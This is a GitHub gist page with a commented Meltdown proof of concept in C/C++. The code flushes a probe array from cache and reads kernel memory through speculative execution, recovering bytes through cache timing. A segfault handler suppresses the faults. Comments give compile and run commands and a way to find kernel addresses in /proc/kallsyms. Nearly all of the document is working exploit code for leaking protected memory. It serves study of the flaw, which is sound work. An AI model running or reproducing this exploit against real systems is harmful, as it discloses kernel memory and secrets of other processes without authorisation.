Created
February 7, 2018 17:21
-
-
Save Kirill89/4777b7f152f9c632b69d60c7b28654ea to your computer and use it in GitHub Desktop.
Minimal meltdown proof of concept with comments and interesting links. [in progress]
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// http://board.issociate.de/thread/508268/prockallsyms.html | |
// sudo grep ' D ' /proc/kallsyms | |
// g++ meltdown.c -std=c++11 && ./a.out ffffffff81d18564 9 | |
#include <stdio.h> | |
#include <string.h> | |
#include <signal.h> | |
#include <ctype.h> | |
#include <math.h> | |
#include <sched.h> | |
#include <x86intrin.h> | |
#include <chrono> | |
extern char stopspeculate[]; | |
// Try get protected memory by address. Will throw segfault, but restore on "stopspeculate" label. | |
// | |
void __attribute__((noinline)) speculate(char *probe, unsigned long addr) { | |
asm volatile ( | |
"retry: \n" | |
"movzx (%[addr]), %%eax \n" | |
"shl $12, %%rax \n" | |
"jz retry \n" | |
"movzx (%[probe], %%rax, 1), %%rbx \n" | |
"stopspeculate: \n" | |
"nop \n" | |
: | |
: [probe] "r"(probe), [addr] "r"(addr) | |
: "rax", "rbx" | |
); | |
} | |
// Get access latency. | |
// | |
int measure_access_time(volatile char *addr) { | |
auto start = std::chrono::high_resolution_clock::now(); | |
(void) *addr; | |
auto end = std::chrono::high_resolution_clock::now(); | |
auto time = end - start; | |
return time.count(); | |
} | |
// Increment hist if read of memory in probe array by index * cache line size too fast (less than threshold). | |
// | |
void check(char *probe, int threshold, int *hist) { | |
for (int i = 0; i < 256; i++) { | |
int time = measure_access_time(&probe[i * 4096]); | |
if (time <= threshold) { | |
hist[i]++; | |
} | |
} | |
} | |
// Get byte from protected memory by addr. | |
// | |
int readbyte(unsigned long addr, int threshold) { | |
char probe[256 * 4096]; | |
memset(probe, 0, sizeof(probe)); | |
int hist[256]; | |
memset(hist, 0, sizeof(hist)); | |
for (int i = 0; i < 1000; i++) { | |
for (int j = 0; j < 256; j++) { | |
_mm_clflush(&probe[j * 4096]); | |
} | |
speculate(probe, addr); | |
check(probe, threshold, hist); | |
} | |
int max_hist = 0; | |
int max_index = 0; | |
for (int i = 1; i < 256; i++) { | |
if (hist[i] > max_hist) { | |
max_hist = hist[i]; | |
max_index = i; | |
} | |
} | |
return max_index; | |
} | |
// Calculate threshold via average access time with cache and without cache. | |
// | |
int get_cache_hit_threshold() { | |
const int estimate_cycles = 1000000; | |
long cached; | |
long not_cached; | |
char probe[4096]; | |
memset(probe, 0, sizeof(probe)); | |
for (int i = 0; i < estimate_cycles; i++) { | |
cached += measure_access_time(probe); | |
} | |
for (int i = 0; i < estimate_cycles; i++) { | |
_mm_clflush(probe); | |
not_cached += measure_access_time(probe); | |
} | |
cached /= estimate_cycles; | |
not_cached /= estimate_cycles; | |
return sqrt(cached * not_cached); | |
} | |
// Enforce process to use one core. | |
// | |
void pin_cpu0() { | |
cpu_set_t mask; | |
CPU_ZERO(&mask); | |
CPU_SET(0, &mask); | |
sched_setaffinity(0, sizeof(cpu_set_t), &mask); | |
} | |
// Handle segfault. Will jump to "stopspeculate" label. | |
// | |
void sigsegv(int sig, siginfo_t *siginfo, void *context) { | |
ucontext_t *ucontext = (ucontext_t *) context; | |
ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long) stopspeculate; | |
return; | |
} | |
// Set segfault handler. | |
// | |
void set_signal() { | |
struct sigaction act; | |
act.sa_sigaction = sigsegv; | |
act.sa_flags = SA_SIGINFO; | |
sigaction( | |
SIGSEGV, // Invalid memory access (segmentation fault). | |
&act, | |
NULL | |
); | |
} | |
int main(int argc, char *argv[]) { | |
if (argc < 3) { | |
return 1; | |
} | |
pin_cpu0(); | |
set_signal(); | |
unsigned long addr; | |
int size; | |
sscanf(argv[1], "%lx", &addr); | |
sscanf(argv[2], "%d", &size); | |
int threshold = get_cache_hit_threshold(); | |
for (int i = 0; i < size; i++) { | |
int ret = readbyte(addr + i, threshold); | |
printf("%lx\t", addr + i); | |
printf("0x%x\t", ret); | |
printf("[%c]\n", isprint(ret) ? ret : ' '); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment